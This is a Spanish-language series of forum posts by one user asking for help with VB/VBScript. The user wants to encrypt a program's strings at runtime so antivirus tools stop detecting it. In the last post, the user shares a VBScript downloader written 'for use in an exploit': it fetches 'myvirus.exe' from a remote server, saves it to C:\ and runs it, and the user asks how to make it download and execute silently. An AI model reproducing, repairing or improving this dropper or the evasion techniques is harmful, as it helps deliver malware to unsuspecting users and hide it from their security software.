Mensajes

Buenas, quiero comprimir un archivo desde vb, para que pese menos, como puedo hacer esto?Cual es el algoritmo de compresion mas efectivo en cuanto al peso del archivo?

Un saludo, akrana.

Pues espero ansiosamente esa version 3!! Normalmente he estado utilizando la ROTx, pero nose porq ahora me detectan algunos antivirus...otro problema que tengo con este programa esq algunas strings de las API no las cifra...

Un saludo

Pues lo quiero para eso exactamente, ya descargue tu programa, que porcierto muy interesante, pero lo intento cifrar en RC4 me tira un error asl ejecutar el programa...

Un saludo!!

Entonces puedo utilizar RC4 para cifrar las strings de un programa? Tenia entendido que no, disculpen mi ignorancia.

Un saludo y gracias!!

Bueno, pues quisiera saber que algoritmos puedo utilizar, que corran en el tiempo de ejcucion del programa, para cifrar las strings. Necesito uno fuerte, he utilizado rotx, pero no me sirve...

Un saludo, akrana.

No funciono... Bueno, voy a leer esto aver si soy capaz de echar la calculadora a andar...

Un saludo y muchisimas gracias por la ayuda!!!

La calculadora esta subida a un server y he revisaco C: y no aparece por ninguna parte...nose cual puede ser el problema, pruebo este nuevo y te digo, de todas formas muchas gracias por la ayuda...

Un saludo

Lo acabo de probar y no tira ningun error pero el archivo no aparece por ninguna parte...Lo estoy probando con la calculadora de windows para mas info...
No encuentro el fallo, se podria hacer de alguna otra manera?

Un saludo y muchas gracias!

Me sigue saltando error: No se pueden utilizar parentesis al llamar a Sub. Cual puede ser el fallo?
Estoy buscando algun otro metodo sencillo pero no encuentro nada...No se como hacerlo, porque en batch?

Un saludo y muchas gracias!!

Hola, estoy tratando de encontrar el codigo fuente de un downloader en VBScript para utilizarlo en un exploit, de momento tengo esto, pero me salta un error...

Código [Seleccionar] Expandir


Sub Main()

On Error Resume Next
Set wsl = CreateObject("WScript.Shell")

bd = DowloadFile("http://www.myserver.com/myvirus.exe","c:\v.exe")

If bd = True Then wsl.run "c:\v.exe"
End Sub

Function DowloadFile(Url,Path)

On Error Resume Next: Err.Clear

Set xml = CreateObject("Microsoft.XMLHTTP")
Set ads = CreateObject("ADODB.Stream")

xml.Open "GET", Url, False
xml.Send

ads.Mode = 3

ads.Type = 1

ads.Open

ads.Write(xml.ResponseBody)

ads.SaveToFile(Path,2)

If Err Then DownloadFile = False Else DowloadFile = True
End Function


Necesito descargar y ejecutar un exe silenciosamente por medio de VBScript, pero este codigo no funciona...Si alguien lo puede revisar y decirme como lo puedo hacer se lo agradeceria.
No es totalmente indispensable que sea en VBScript, tambien puede ser en BATCH o por medio de una shellcode, pero no me aclaro...

Un saludo, gracias.